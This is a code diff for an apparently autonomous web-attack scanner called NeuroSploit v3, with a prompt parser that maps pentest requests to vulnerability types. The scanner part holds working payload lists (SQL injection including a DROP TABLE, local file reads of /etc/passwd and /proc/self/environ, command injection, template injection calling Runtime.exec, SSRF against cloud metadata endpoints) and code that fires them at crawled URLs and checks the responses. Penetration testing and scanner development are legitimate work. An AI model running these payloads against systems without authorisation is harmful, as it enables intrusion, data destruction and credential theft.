"\" OR 1=1--", "1' AND '1'='1", + "'; DROP TABLE users--", "1; SELECT * FROM users", + "' UNION SELECT NULL--", "' UNION SELECT 1,2,3--", + "1' AND SLEEP(5)--", "1'; WAITFOR DELAY '0:0:5'--", + "admin'--", "admin' #", "admin'/*", + ] + + # LFI test payloads + LFI_PAYLOADS = [ + "../../../etc/passwd", + "....//....//....//etc/passwd", + "/etc/passwd", + "..\\..\\..\\windows\\win.ini", + "file:///etc/passwd", + "/proc/self/environ", + "php://filter/convert.base64-encode/resource=index.php", + "php://input", + "expect://id", + "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==", + ] + + # Command injection payloads + CMDI_PAYLOADS = [ + "; id", "| id", "|| id", "&& id", + "; whoami", "| whoami", "|| whoami", + "`id`", "$(id)", "${id}", + "; cat /etc/passwd", "| cat /etc/passwd", + "; ping -c 3 127.0.0.1", "| ping -c 3 127.0.0.1", + ] + + # SSTI payloads + SSTI_PAYLOADS = [ + "{{7*7}}", "${7*7}", "<%= 7*7 %>", + "{{config}}", "{{self}}", "{{request}}", + "${T(java.lang.Runtime).getRuntime().exec('id')}", + "{{''.__class__.__mro__[2].__subclasses__()}}", + "@(1+2)", "#{7*7}", + ] + + # SSRF payloads + SSRF_PAYLOADS = [ + "http://localhost", "http://127.0.0.1", + "http://[::1]", "http://0.0.0.0", + "http://169.254.169.254/latest/meta-data/", + "http://metadata.google.internal/", + "file:///etc/passwd", + "dict://localhost:11211/", + "gopher://localhost:6379/_", + ] + + def __init__( + self, + scan_id: str, + log_callback: Optional[Callable] = None, + timeout: int = 15, + max_depth: int = 3 + ): + self.scan_id = scan_id + self.log_callback = log_callback or self._default_log + self.timeout = timeout + self.max_depth = max_depth + self.discovered_endpoints: List[DiscoveredEndpoint] = [] + self.tested_urls: set = set() + self.vulnerabilities: List[TestResult] = [] + self.session: Optional[aiohttp.ClientSession] = None + self.wordlist_path = "/opt/wordlists/common.txt" + + async def _default_log(self, level: str, message: str): + """Default logging""" + print(f"[{level.upper()}] {message}") + + async def log(self, level: str, message: str): + """Log a message""" + if asyncio.iscoroutinefunction(self.log_callback): + await self.log_callback(level, message) + else: + self.log_callback(level, message) + + async def __aenter__(self): + connector = aiohttp.TCPConnector(ssl=False, limit=50) + timeout = aiohttp.ClientTimeout(total=self.timeout) + self.session = aiohttp.ClientSession(connector=connector, timeout=timeout) + return self + + async def __aexit__(self, *args): + if self.session: + await self.session.close() + + async def run_autonomous_scan( + self, + target_url: str, + recon_data: Optional[Dict] = None + ) -> Dict[str, Any]: + """ + Run a fully autonomous scan on the target. + + This will: + 1. Spider/crawl the target + 2. Discover directories + 3. Find parameters + 4. Test all discovered endpoints + + Returns comprehensive results even if recon found nothing. + """ + await self.log("info", f"Starting autonomous scan on: {target_url}") + await self.log("info", "This is an authorized penetration test.") + + parsed = urlparse(target_url) + base_url = f"{parsed.scheme}://{parsed.netloc}" + + results = { + "target": target_url, + "started_at": datetime.utcnow().isoformat(), + "endpoints": [], + "vulnerabilities": [], + "parameters_found": [], + "directories_found": [], + "technologies": [] + } + + # Phase 1: Initial probe + await self.log("info", "Phase 1: Initial target probe...") + initial_info = await self._probe_target(target_url) + results["technologies"] = initial_info.get("technologies", []) + await self.log("info", f" Technologies detected: {', '.join(results['technologies']) or 'None'}") + + # Phase 2: Directory discovery + await self.log("info", "Phase 2: Directory discovery...") + directories = await self._discover_directories(base_url) + results["directories_found"] = directories + await self.log("info", f" Found {len(directories)} directories") + + # Phase 3: Crawl the site + await self.log("info", "Phase 3: Crawling site for links and forms...") + crawled = await self._crawl_site(target_url) + await self.log("info", f" Crawled {len(crawled)} pages") + + # Phase 4: Discover parameters + await self.log("info", "Phase 4: Parameter discovery...") + parameters = await self._discover_parameters(target_url) + results["parameters_found"] = parameters + await self.log("info", f" Found {len(parameters)} parameters") + + # Phase 5: Generate test endpoints + await self.log("info", "Phase 5: Generating test endpoints...") + test_endpoints = self._generate_test_endpoints(target_url, parameters, directories) + await self.log("info", f" Generated {len(test_endpoints)} test endpoints") + + # Merge with any recon data + if recon_data: + for url in recon_data.get("urls", []): + self._add_endpoint(url, source="recon") + for endpoint in recon_data.get("endpoints", []): + if isinstance(endpoint, dict): + self._add_endpoint(endpoint.get("url", ""), source="recon") + + # Add test endpoints + for ep in test_endpoints: + self._add_endpoint(ep["url"], source=ep.get("source", "generated")) + + results["endpoints"] = [ + { + "url": ep.url, + "method": ep.method, + "status": ep.status_code, + "source": ep.source, + "parameters": ep.parameters + } + for ep in self.discovered_endpoints + ] + + # Phase 6: Vulnerability testing + await self.log("info", f"Phase 6: Testing {len(self.discovered_endpoints)} endpoints for vulnerabilities...") + + for i, endpoint in enumerate(self.discovered_endpoints): + if endpoint.url in self.tested_urls: + continue + self.tested_urls.add(endpoint.url) + + await self.log("debug", f" [{i+1}/{len(self.discovered_endpoints)}] Testing: {endpoint.url[:80]}...") + + # Test each vulnerability type + vulns = await self._test_endpoint_all_vulns(endpoint) + self.vulnerabilities.extend(vulns) + + # Log findings immediately + for vuln in vulns: + await self.log("warning", f" FOUND: {vuln.vuln_type} on {endpoint.url[:60]} (confidence: {vuln.confidence:.0%})") + + results["vulnerabilities"] = [ + { + "type": v.vuln_type, + "endpoint": v.endpoint, + "payload": v.payload, + "confidence": v.confidence, + "evidence": v.evidence[:500] + } + for v in self.vulnerabilities + ] + + results["completed_at"] = datetime.utcnow().isoformat() + results["summary"] = { + "endpoints_tested": len(self.tested_urls), + "vulnerabilities_found": len(self.vulnerabilities), + "critical": len([v for v in self.vulnerabilities if v.confidence >= 0.9]), + "high": len([v for v in self.vulnerabilities if 0.7 <= v.confidence < 0.9]), + "medium": len([v for v in self.vulnerabilities if 0.5 <= v.confidence < 0.7]), + } + + await self.log("info", f"Autonomous scan complete. Found {len(self.vulnerabilities)} potential vulnerabilities.") + + return results + + def _add_endpoint(self, url: str, source: str = "discovery"): + """Add an endpoint if not already discovered""" + if not url: + return + for ep in self.discovered_endpoints: + if ep.url == url: + return + self.discovered_endpoints.append(DiscoveredEndpoint(url=url, source=source)) + + async def _probe_target(self, url: str) -> Dict: + """Initial probe to gather info about the target""" + info = {"technologies": [], "headers": {}, "server": ""} + + try: + async with self.session.get(url, headers={"User-Agent": "NeuroSploit/3.0"}) as resp: + info["headers"] = dict(resp.headers) + info["status"] = resp.status + body = await resp.text() + + # Detect technologies + if "wp-content" in body or "WordPress" in body: + info["technologies"].append("WordPress") + if "Joomla" in body: + info["technologies"].append("Joomla") + if "Drupal" in body: + info["technologies"].append("Drupal") + if "react" in body.lower() or "React" in body: + info["technologies"].append("React") + if "angular" in body.lower(): + info["technologies"].append("Angular") + if "vue" in body.lower(): + info["technologies"].append("Vue.js") + if "php" in body.lower() or ".php" in body: + info["technologies"].append("PHP") + if "asp.net" in body.lower() or "aspx" in body.lower(): + info["technologies"].append("ASP.NET") + if "java" in body.lower() or "jsp" in body.lower(): + info["technologies"].append("Java") + + # Server header + info["server"] = resp.headers.get("Server", "") + if info["server"]: + info["technologies"].append(f"Server: {info['server']}") + + # X-Powered-By + powered_by = resp.headers.get("X-Powered-By", "") + if powered_by: + info["technologies"].append(f"Powered by: {powered_by}") + + except Exception as e: + await self.log("debug", f"Probe error: {str(e)}") + + return info + + async def _discover_directories(self, base_url: str) -> List[str]: + """Discover directories using built-in wordlist and common paths""" + found_dirs = [] + + # First try common endpoints + await self.log("debug", " Testing common endpoints...") + + tasks = [] + for endpoint in self.COMMON_ENDPOINTS: + url = urljoin(base_url, endpoint) + tasks.append(self._check_url_exists(url)) + + results = await asyncio.gather(*tasks, return_exceptions=True) + + for endpoint, result in zip(self.COMMON_ENDPOINTS, results): + if isinstance(result, dict) and result.get("exists"): + found_dirs.append(endpoint) + self._add_endpoint(urljoin(base_url, endpoint), source="directory_bruteforce") + await self.log("debug", f" Found: {endpoint} [{result.get('status')}]") + + # Try using ffuf if available + if await self._tool_available("ffuf"): + await self.log("debug", " Running ffuf directory scan...") + ffuf_results = await self._run_ffuf(base_url) + for path in ffuf_results: + if path not in found_dirs: + found_dirs.append(path) + self._add_endpoint(urljoin(base_url, path), source="ffuf") + + return found_dirs + + async def _check_url_exists(self, url: str) -> Dict: + """Check if a URL exists (returns 2xx or 3xx)""" + try: + async with self.session.get( + url, + headers={"User-Agent": "NeuroSploit/3.0"}, + allow_redirects=False + ) as resp: + exists = resp.status < 400 and resp.status != 404 + return {"exists": exists, "status": resp.status} + except: + return {"exists": False, "status": 0} + + async def _tool_available(self, tool_name: str) -> bool: + """Check if a tool is available""" + try: + result = subprocess.run( + ["which", tool_name], + capture_output=True, + timeout=5 + ) + return result.returncode == 0 + except: + return False + + async def _run_ffuf(self, base_url: str) -> List[str]: + """Run ffuf for directory discovery""" + found = [] + try: + wordlist = self.wordlist_path if os.path.exists(self.wordlist_path) else None + if not wordlist: + return found + + cmd = [ + "ffuf", + "-u", f"{base_url}/FUZZ", + "-w", wordlist, + "-mc", "200,201,301,302,307,401,403,500", + "-t", "20", + "-timeout", "10", + "-o", "/tmp/ffuf_out.json", + "-of", "json", + "-s" # Silent + ] + + process = await asyncio.create_subprocess_exec( + *cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + + await asyncio.wait_for(process.wait(), timeout=120) + + if os.path.exists("/tmp/ffuf_out.json"): + with open("/tmp/ffuf_out.json", "r") as f: + data = json.load(f) + for result in data.get("results", []): + path = "/" + result.get("input", {}).get("FUZZ", "") + if path and path != "/": + found.append(path) + os.remove("/tmp/ffuf_out.json") + + except Exception as e: + await self.log("debug", f"ffuf error: {str(e)}") + + return found + + async def _crawl_site(self, url: str) -> List[str]: + """Crawl the site to find links, forms, and endpoints""" + crawled = [] + to_crawl = [url] + visited = set() + depth = 0 + + parsed_base = urlparse(url) + base_domain = parsed_base.netloc + + while to_crawl and depth < self.max_depth: + current_batch = to_crawl[:20] # Crawl 20 at a time + to_crawl = to_crawl[20:] + + tasks = [] + for page_url in current_batch: + if page_url in visited: + continue + visited.add(page_url) + tasks.append(self._extract_links(page_url, base_domain)) + + results = await asyncio.gather(*tasks, return_exceptions=True) + + for result in results: + if isinstance(result, list): + crawled.extend(result) + for link in result: + if link not in visited and link not in to_crawl: + to_crawl.append(link) + + depth += 1 + + return list(set(crawled)) + + async def _extract_links(self, url: str, base_domain: str) -> List[str]: + """Extract links and forms from a page""" + links = [] + + try: + async with self.session.get( + url, + headers={"User-Agent": "NeuroSploit/3.0"} + ) as resp: + body = await resp.text() + + # Extract href links + href_pattern = r'href=["\']([^"\']+)["\']' + for match in re.finditer(href_pattern, body, re.IGNORECASE): + link = match.group(1) + full_url = urljoin(url, link) + parsed = urlparse(full_url) + + if parsed.netloc == base_domain: + links.append(full_url) + self._add_endpoint(full_url, source="crawler") + + # Extract src attributes + src_pattern = r'src=["\']([^"\']+)["\']' + for match in re.finditer(src_pattern, body, re.IGNORECASE): + link = match.group(1) + full_url = urljoin(url, link) + if ".js" in full_url or ".php" in full_url: + self._add_endpoint(full_url, source="crawler") + + # Extract form actions + form_pattern = r']*action=["\']([^"\']*)["\'][^>]*>' + for match in re.finditer(form_pattern, body, re.IGNORECASE): + action = match.group(1) or url + full_url = urljoin(url, action) + self._add_endpoint(full_url, source="form") + + # Extract URLs from JavaScript + js_url_pattern = r'["\']/(api|v1|v2|user|admin|login|auth)[^"\']*["\']' + for match in re.finditer(js_url_pattern, body): + path = match.group(0).strip("\"'") + full_url = urljoin(url, path) + self._add_endpoint(full_url, source="javascript") + + except Exception as e: + pass + + return links + + async def _discover_parameters(self, url: str) -> List[str]: + """Discover parameters through various methods""" + found_params = set() + + # Extract from URL + parsed = urlparse(url) + if parsed.query: + params = parse_qs(parsed.query) + found_params.update(params.keys()) + + # Try common parameters + await self.log("debug", " Testing common parameters...") + + base_url = url.split("?")[0] + + for param in self.COMMON_PARAMS[:20]: # Test top 20 + test_url = f"{base_url}?{param}=test123" + try: + async with self.session.get( + test_url, + headers={"User-Agent": "NeuroSploit/3.0"} + ) as resp: + body = await resp.text() + # Check if parameter is reflected or changes response + if "test123" in body or resp.status == 200: + found_params.add(param) + + except: + pass + + # Try arjun if available + if await self._tool_available("arjun"): + await self.log("debug", " Running arjun parameter discovery...") + try: + process = await asyncio.create_subprocess_exec( + "arjun", "-u", url, "-o", "/tmp/arjun_out.json", "-q", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + await asyncio.wait_for(process.wait(), timeout=60) + + if os.path.exists("/tmp/arjun_out.json"): + with open("/tmp/arjun_out.json", "r") as f: + data = json.load(f) + for url_data in data.values(): + if isinstance(url_data, list): + found_params.update(url_data) + os.remove("/tmp/arjun_out.json") + except: + pass + + return list(found_params) + + def _generate_test_endpoints( + self, + target_url: str, + parameters: List[str], + directories: List[str] + ) -> List[Dict]: + """Generate test endpoints based on discovered information""" + endpoints = [] + parsed = urlparse(target_url) + base_url = f"{parsed.scheme}://{parsed.netloc}" + + # Generate endpoint + parameter combinations + for directory in directories: + full_url = urljoin(base_url, directory) + endpoints.append({"url": full_url, "source": "directory"}) + + # Add with common parameters + for param in self.COMMON_PARAMS[:10]: + test_url = f"{full_url}?{param}=FUZZ" + endpoints.append({"url": test_url, "source": "param_injection"}) + + # Target URL with discovered parameters + for param in parameters: + test_url = f"{target_url.split('?')[0]}?{param}=FUZZ" + endpoints.append({"url": test_url, "source": "discovered_param"}) + + # Multi-param combinations + if len(parameters) >= 2: + param_string = "&".join([f"{p}=FUZZ" for p in parameters[:5]]) + test_url = f"{target_url.split('?')[0]}?{param_string}" + endpoints.append({"url": test_url, "source": "multi_param"}) + + return endpoints + + async def _test_endpoint_all_vulns(self, endpoint: DiscoveredEndpoint) -> List[TestResult]: + """Test an endpoint for all vulnerability types""" + results = [] + + url = endpoint.url + + # Test XSS + xss_result = await self._test_xss(url) + if xss_result: + results.append(xss_result) + + # Test SQLi + sqli_result = await self._test_sqli(url) + if sqli_result: + results.append(sqli_result) + + # Test LFI + lfi_result = await self._test_lfi(url) + if lfi_result: + results.append(lfi_result) + + # Test Command Injection + cmdi_result = await self._test_cmdi(url) + if cmdi_result: + results.append(cmdi_result) + + # Test SSTI + ssti_result = await self._test_ssti(url) + if ssti_result: + results.append(ssti_result) + + # Test Open Redirect + redirect_result = await self._test_open_redirect(url) + if redirect_result: + results.append(redirect_result) + + return results + + async def _inject_payload(self, url: str, payload: str) -> Optional[Dict]: + """Inject a payload into URL parameters""" + try: + if "?" in url: + base, query = url.split("?", 1) + params = {} + for p in query.split("&"): + if "=" in p: + k, v = p.split("=", 1) + params[k] = payload + else: + params[p] = payload + test_url = base + "?" + urlencode(params) + else: + # Add payload as common parameter + test_url = f"{url}?id={payload}&q={payload}" + + async with self.session.get( + test_url, + headers={"User-Agent": "NeuroSploit/3.0"}, + allow_redirects=False + ) as resp: + body = await resp.text() + return { + "url": test_url, + "status": resp.status, + "headers": dict(resp.headers), + "body": body[:5000], + "payload": payload + } + except: + return None + + async def _test_xss(self, url: str) -> Optional[TestResult]: + """Test for XSS vulnerabilities""" + for payload in self.XSS_PAYLOADS: + result = await self._inject_payload(url, payload) + if not result: + continue + + # Check if payload is reflected + if payload in result["body"]: + return TestResult( + endpoint=url, + vuln_type="xss_reflected", + payload=payload, + is_vulnerable=True, + confidence=0.8, + evidence=f"Payload reflected in response: {payload}", + request={"url": result["url"], "method": "GET"}, + response={"status": result["status"], "body_preview": result["body"][:500]} + ) + + # Check for unescaped reflection + if payload.replace("<", "<").replace(">", ">") not in result["body"]: + if any(tag in result["body"] for tag in [" Optional[TestResult]: + """Test for SQL injection vulnerabilities""" + error_patterns = [ + "sql syntax", "mysql", "sqlite", "postgresql", "oracle", + "syntax error", "unclosed quotation", "unterminated string", + "query failed", "database error", "odbc", "jdbc", + "microsoft sql", "pg_query", "mysql_fetch", "ora-", + "quoted string not properly terminated" + ] + + for payload in self.SQLI_PAYLOADS: + result = await self._inject_payload(url, payload) + if not result: + continue + + body_lower = result["body"].lower() + + # Check for SQL error messages + for pattern in error_patterns: + if pattern in body_lower: + return TestResult( + endpoint=url, + vuln_type="sqli_error", + payload=payload, + is_vulnerable=True, + confidence=0.9, + evidence=f"SQL error pattern found: {pattern}", + request={"url": result["url"], "method": "GET"}, + response={"status": result["status"], "body_preview": result["body"][:500]} + ) + + # Test for time-based blind SQLi + time_payloads = ["1' AND SLEEP(5)--", "1'; WAITFOR DELAY '0:0:5'--"] + for payload in time_payloads: + import time + start = time.time() + result = await self._inject_payload(url, payload) + elapsed = time.time() - start + + if elapsed >= 4.5: # Account for network latency + return TestResult( + endpoint=url, + vuln_type="sqli_blind_time", + payload=payload, + is_vulnerable=True, + confidence=0.7, + evidence=f"Response delayed by {elapsed:.1f}s (expected 5s)", + request={"url": url, "method": "GET"}, + response={"status": 0, "body_preview": "TIMEOUT"} + ) + + return None + + async def _test_lfi(self, url: str) -> Optional[TestResult]: + """Test for Local File Inclusion vulnerabilities""" + lfi_indicators = [ + "root:x:", "root:*:", "[boot loader]", "[operating systems]", + "bin/bash", "/bin/sh", "daemon:", "www-data:", + "[extensions]", "[fonts]", "extension=", + ] + + for payload in self.LFI_PAYLOADS: + result = await self._inject_payload(url, payload) + if not result: + continue + + body_lower = result["body"].lower() + + for indicator in lfi_indicators: + if indicator.lower() in body_lower: + return TestResult( + endpoint=url, + vuln_type="lfi", + payload=payload, + is_vulnerable=True, + confidence=0.95, + evidence=f"File content indicator found: {indicator}", + request={"url": result["url"], "method": "GET"}, + response={"status": result["status"], "body_preview": result["body"][:500]} + ) + + return None + + async def _test_cmdi(self, url: str) -> Optional[TestResult]: + """Test for Command Injection vulnerabilities""" + cmdi_indicators = [ + "uid=", "gid=", "groups=", "root:x:", + "linux", "darwin", "bin/", "/usr/", + "volume serial number", "directory of", + ] + + for payload in self.CMDI_PAYLOADS: + result = await self._inject_payload(url, payload) + if not result: + continue + + body_lower = result["body"].lower() + + for indicator in cmdi_indicators: + if indicator.lower() in body_lower: + return TestResult( + endpoint=url, + vuln_type="command_injection", + payload=payload, + is_vulnerable=True, + confidence=0.9, + evidence=f"Command output indicator found: {indicator}", + request={"url": result["url"], "method": "GET"}, + response={"status": result["status"], "body_preview": result["body"][:500]} + ) + + return None + + async def _test_ssti(self, url: str) -> Optional[TestResult]: + """Test for Server-Side Template Injection""" + # Mathematical expressions that should evaluate + math_payloads = [ + ("{{7*7}}", "49"), + ("${7*7}", "49"), + ("<%= 7*7 %>", "49"), + ("{{7*'7'}}", "7777777"), + ("#{7*7}", "49"), + ] + + for payload, expected in math_payloads: + result = await self._inject_payload(url, payload) + if not result: + continue + + if expected in result["body"] and payload not in result["body"]: + return TestResult( + endpoint=url, + vuln_type="ssti", + payload=payload, + is_vulnerable=True, + confidence=0.85, + evidence=f"Template expression evaluated: {payload} -> {expected}", + request={"url": result["url"], "method": "GET"}, + response={"status": result["status"], "body_preview": result["body"][:500]} + ) + + return None + + async def _test_open_redirect(self, url: str) -> Optional[TestResult]: + """Test for Open Redirect vulnerabilities""" + redirect_payloads = [ + "https://evil.com", + "//evil.com", + "////evil.com", + "https:evil.com", + "/\\evil.com", + "///evil.com/%2f..", + ] + + redirect_params = ["url", "redirect", "next", "return", "goto", "dest", "rurl", "target"] + + parsed = urlparse(url) + base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + + for param in redirect_params: + for payload in redirect_payloads: + test_url = f"{base_url}?{param}={payload}" + + try: + async with self.session.get( + test_url, + headers={"User-Agent": "NeuroSploit/3.0"}, + allow_redirects=False + ) as resp: + if resp.status in [301, 302, 303, 307, 308]: + location = resp.headers.get("Location", "") + if "evil.com" in location: + return TestResult( + endpoint=url, + vuln_type="open_redirect", + payload=payload, + is_vulnerable=True, + confidence=0.85, + evidence=f"Redirects to external domain: {location}", + request={"url": test_url, "method": "GET"}, + response={"status": resp.status, "location": location} + ) + except: + pass + + return None diff --git a/backend/core/prompt_engine/__init__.py b/backend/core/prompt_engine/__init__.py new file mode 100644 index 0000000..2afb5cf --- /dev/null +++ b/backend/core/prompt_engine/__init__.py @@ -0,0 +1,3 @@ +from backend.core.prompt_engine.parser import PromptParser + +__all__ = ["PromptParser"] diff --git a/backend/core/prompt_engine/parser.py b/backend/core/prompt_engine/parser.py new file mode 100644 index 0000000..95b47f0 --- /dev/null +++ b/backend/core/prompt_engine/parser.py @@ -0,0 +1,450 @@ +""" +NeuroSploit v3 - Prompt Parser + +Parses user prompts to extract: +1. Vulnerability types to test +2. Testing scope and depth +3. Special instructions +4. Output format preferences + +This enables dynamic, prompt-driven testing instead of hardcoded vulnerability types. +""" +import re +from typing import List, Dict, Optional, Tuple +from backend.schemas.prompt import ( + PromptParseResult, + VulnerabilityTypeExtracted, + TestingScope +) + + +class PromptParser: + """ + Parses penetration testing prompts to extract structured testing instructions. + + Instead of requiring specific LLM calls for every parse, this uses pattern matching + and keyword analysis for fast, deterministic extraction. + """ + + # Vulnerability keyword mappings + VULNERABILITY_KEYWORDS = { + # XSS variants + "xss_reflected": [ + "xss", "cross-site scripting", "reflected xss", "reflected cross-site", + "script injection", "html injection" + ], + "xss_stored": [ + "stored xss", "persistent xss", "stored cross-site", "persistent cross-site" + ], + "xss_dom": [ + "dom xss", "dom-based xss", "dom based", "client-side xss" + ], + + # SQL Injection variants + "sqli_error": [ + "sql injection", "sqli", "sql error", "error-based sql" + ], + "sqli_union": [ + "union sql", "union injection", "union-based", "union based" + ], + "sqli_blind": [ + "blind sql", "blind injection", "boolean sql", "boolean-based" + ], + "sqli_time": [ + "time-based sql", "time based sql", "time-based injection" + ], + + # Other injections + "nosql_injection": [ + "nosql", "mongodb injection", "nosql injection" + ], + "command_injection": [ + "command injection", "os command", "shell injection", "rce", + "remote code execution", "code execution" + ], + "ssti": [ + "ssti", "template injection", "server-side template", "jinja injection", + "twig injection" + ], + "ldap_injection": [ + "ldap injection", "ldap" + ], + "xpath_injection": [ + "xpath injection", "xpath" + ], + "header_injection": [ + "header injection", "http header" + ], + "crlf_injection": [ + "crlf", "carriage return", "header splitting" + ], + + # File access + "lfi": [ + "lfi", "local file inclusion", "file inclusion", "path traversal", + "directory traversal", "../" + ], + "rfi": [ + "rfi", "remote file inclusion" + ], + "path_traversal": [ + "path traversal", "directory traversal", "dot dot slash" + ], + "file_upload": [ + "file upload", "upload vulnerability", "unrestricted upload", + "malicious upload" + ], + "xxe": [ + "xxe", "xml external entity", "xml injection" + ], + + # Request forgery + "ssrf": [ + "ssrf", "server-side request forgery", "server side request", + "internal request" + ], + "ssrf_cloud": [ + "cloud metadata", "169.254.169.254", "metadata service", "aws metadata", + "gcp metadata" + ], + "csrf": [ + "csrf", "cross-site request forgery", "xsrf" + ], + + # Authentication + "auth_bypass": [ + "authentication bypass", "auth bypass", "login bypass", "broken auth" + ], + "session_fixation": [ + "session fixation", "session hijacking" + ], + "jwt_manipulation": [ + "jwt", "json web token", "token manipulation", "jwt bypass" + ], + "weak_password": [ + "weak password", "password policy", "credential" + ], + "brute_force": [ + "brute force", "credential stuffing", "password spray" + ], + + # Authorization + "idor": [ + "idor", "insecure direct object", "direct object reference" + ], + "bola": [ + "bola", "broken object level", "api authorization" + ], + "privilege_escalation": [ + "privilege escalation", "privesc", "priv esc", "elevation" + ], + + # API Security + "rate_limiting": [ + "rate limit", "rate limiting", "throttling" + ], + "mass_assignment": [ + "mass assignment", "parameter pollution" + ], + "excessive_data": [ + "excessive data", "data exposure", "over-fetching" + ], + "graphql_introspection": [ + "graphql introspection", "graphql schema" + ], + "graphql_injection": [ + "graphql injection", "graphql attack" + ], + + # Client-side + "cors_misconfig": [ + "cors", "cross-origin", "cors misconfiguration" + ], + "clickjacking": [ + "clickjacking", "click jacking", "ui redressing", "x-frame-options" + ], + "open_redirect": [ + "open redirect", "url redirect", "redirect vulnerability" + ], + + # Information disclosure + "error_disclosure": [ + "error message", "stack trace", "debug information" + ], + "sensitive_data": [ + "sensitive data", "pii exposure", "data leak" + ], + "debug_endpoints": [ + "debug endpoint", "admin panel", "hidden endpoint" + ], + + # Infrastructure + "security_headers": [ + "security headers", "http headers", "csp", "content-security-policy", + "hsts", "x-content-type" + ], + "ssl_issues": [ + "ssl", "tls", "certificate", "https" + ], + "http_methods": [ + "http methods", "options method", "trace method", "put method" + ], + + # Logic flaws + "race_condition": [ + "race condition", "toctou", "time of check" + ], + "business_logic": [ + "business logic", "logic flaw", "workflow" + ] + } + + # Category mappings + VULNERABILITY_CATEGORIES = { + "injection": [ + "xss_reflected", "xss_stored", "xss_dom", "sqli_error", "sqli_union", + "sqli_blind", "sqli_time", "nosql_injection", "command_injection", + "ssti", "ldap_injection", "xpath_injection", "header_injection", "crlf_injection" + ], + "file_access": ["lfi", "rfi", "path_traversal", "file_upload", "xxe"], + "request_forgery": ["ssrf", "ssrf_cloud", "csrf"], + "authentication": [ + "auth_bypass", "session_fixation", "jwt_manipulation", + "weak_password", "brute_force" + ], + "authorization": ["idor", "bola", "privilege_escalation"], + "api_security": [ + "rate_limiting", "mass_assignment", "excessive_data", + "graphql_introspection", "graphql_injection" + ], + "client_side": ["cors_misconfig", "clickjacking", "open_redirect"], + "information_disclosure": ["error_disclosure", "sensitive_data", "debug_endpoints"], + "infrastructure": ["security_headers", "ssl_issues", "http_methods"], + "logic_flaws": ["race_condition", "business_logic"] + } + + # Depth keywords + DEPTH_KEYWORDS = { + "quick": ["quick", "fast", "basic", "simple", "light"], + "standard": ["standard", "normal", "default"], + "thorough": ["thorough", "comprehensive", "complete", "full", "deep"], + "exhaustive": ["exhaustive", "extensive", "all", "everything", "maximum"] + } + + def __init__(self): + # Compile regex patterns for efficiency + self._compile_patterns() + + def _compile_patterns(self): + """Compile regex patterns for keyword matching""" + self.vuln_patterns = {} + for vuln_type, keywords in self.VULNERABILITY_KEYWORDS.items(): + pattern = r'\b(' + '|'.join(re.escape(kw) for kw in keywords) + r')\b' + self.vuln_patterns[vuln_type] = re.compile(pattern, re.IGNORECASE) + + async def parse(self, prompt: str) -> PromptParseResult: + """ + Parse a prompt to extract testing instructions. + + Args: + prompt: User's penetration testing prompt + + Returns: + PromptParseResult with extracted vulnerabilities and scope + """ + prompt_lower = prompt.lower() + + # Extract vulnerability types + vulnerabilities = self._extract_vulnerabilities(prompt, prompt_lower) + + # If no specific vulnerabilities mentioned but comprehensive keywords found, + # add all vulnerabilities + if not vulnerabilities: + if any(kw in prompt_lower for kw in ["all vulnerabilities", "comprehensive", "full pentest", "everything"]): + vulnerabilities = self._get_all_vulnerabilities(prompt) + + # Extract testing scope + scope = self._extract_scope(prompt_lower) + + # Extract special instructions + special_instructions = self._extract_special_instructions(prompt) + + # Extract target filters + target_filters = self._extract_target_filters(prompt) + + # Extract output preferences + output_preferences = self._extract_output_preferences(prompt_lower) + + return PromptParseResult( + vulnerabilities_to_test=vulnerabilities, + testing_scope=scope, + special_instructions=special_instructions, + target_filters=target_filters, + output_preferences=output_preferences + ) + + def _extract_vulnerabilities(self, prompt: str, prompt_lower: str) -> List[VulnerabilityTypeExtracted]: + """Extract vulnerability types from prompt""" + vulnerabilities = [] + found_types = set() + + for vuln_type, pattern in self.vuln_patterns.items(): + matches = pattern.findall(prompt_lower) + if matches: + # Calculate confidence based on number of matches and context + confidence = min(0.9, 0.5 + len(matches) * 0.1) + + # Get category + category = self._get_category(vuln_type) + + # Extract context (surrounding text) + context = self._extract_context(prompt, matches[0]) + + if vuln_type not in found_types: + found_types.add(vuln_type) + vulnerabilities.append(VulnerabilityTypeExtracted( + type=vuln_type, + category=category, + confidence=confidence, + context=context + )) + + return vulnerabilities + + def _get_all_vulnerabilities(self, prompt: str) -> List[VulnerabilityTypeExtracted]: + """Get all vulnerability types for comprehensive testing""" + vulnerabilities = [] + for vuln_type in self.VULNERABILITY_KEYWORDS.keys(): + category = self._get_category(vuln_type) + vulnerabilities.append(VulnerabilityTypeExtracted( + type=vuln_type, + category=category, + confidence=0.7, + context="Comprehensive testing requested" + )) + return vulnerabilities + + def _get_category(self, vuln_type: str) -> str: + """Get category for a vulnerability type""" + for category, types in self.VULNERABILITY_CATEGORIES.items(): + if vuln_type in types: + return category + return "other" + + def _extract_context(self, prompt: str, keyword: str, window: int = 50) -> str: + """Extract context around a keyword""" + idx = prompt.lower().find(keyword.lower()) + if idx == -1: + return "" + start = max(0, idx - window) + end = min(len(prompt), idx + len(keyword) + window) + return prompt[start:end].strip() + + def _extract_scope(self, prompt_lower: str) -> TestingScope: + """Extract testing scope from prompt""" + # Determine depth + depth = "standard" + for level, keywords in self.DEPTH_KEYWORDS.items(): + if any(kw in prompt_lower for kw in keywords): + depth = level + break + + # Check for recon + include_recon = not any( + kw in prompt_lower for kw in ["no recon", "skip recon", "without recon"] + ) + + # Extract time limits + time_limit = None + time_match = re.search(r'(\d+)\s*(minute|min|hour|hr)', prompt_lower) + if time_match: + value = int(time_match.group(1)) + unit = time_match.group(2) + if 'hour' in unit or 'hr' in unit: + time_limit = value * 60 + else: + time_limit = value + + # Extract request limits + max_requests = None + req_match = re.search(r'(\d+)\s*(request|req)', prompt_lower) + if req_match: + max_requests = int(req_match.group(1)) + + return TestingScope( + include_recon=include_recon, + depth=depth, + max_requests_per_endpoint=max_requests, + time_limit_minutes=time_limit + ) + + def _extract_special_instructions(self, prompt: str) -> List[str]: + """Extract special instructions from prompt""" + instructions = [] + + # Look for explicit instructions + instruction_patterns = [ + r'focus on[:\s]+([^.]+)', + r'prioritize[:\s]+([^.]+)', + r'especially[:\s]+([^.]+)', + r'important[:\s]+([^.]+)', + r'make sure to[:\s]+([^.]+)', + r'don\'t forget to[:\s]+([^.]+)' + ] + + for pattern in instruction_patterns: + matches = re.findall(pattern, prompt, 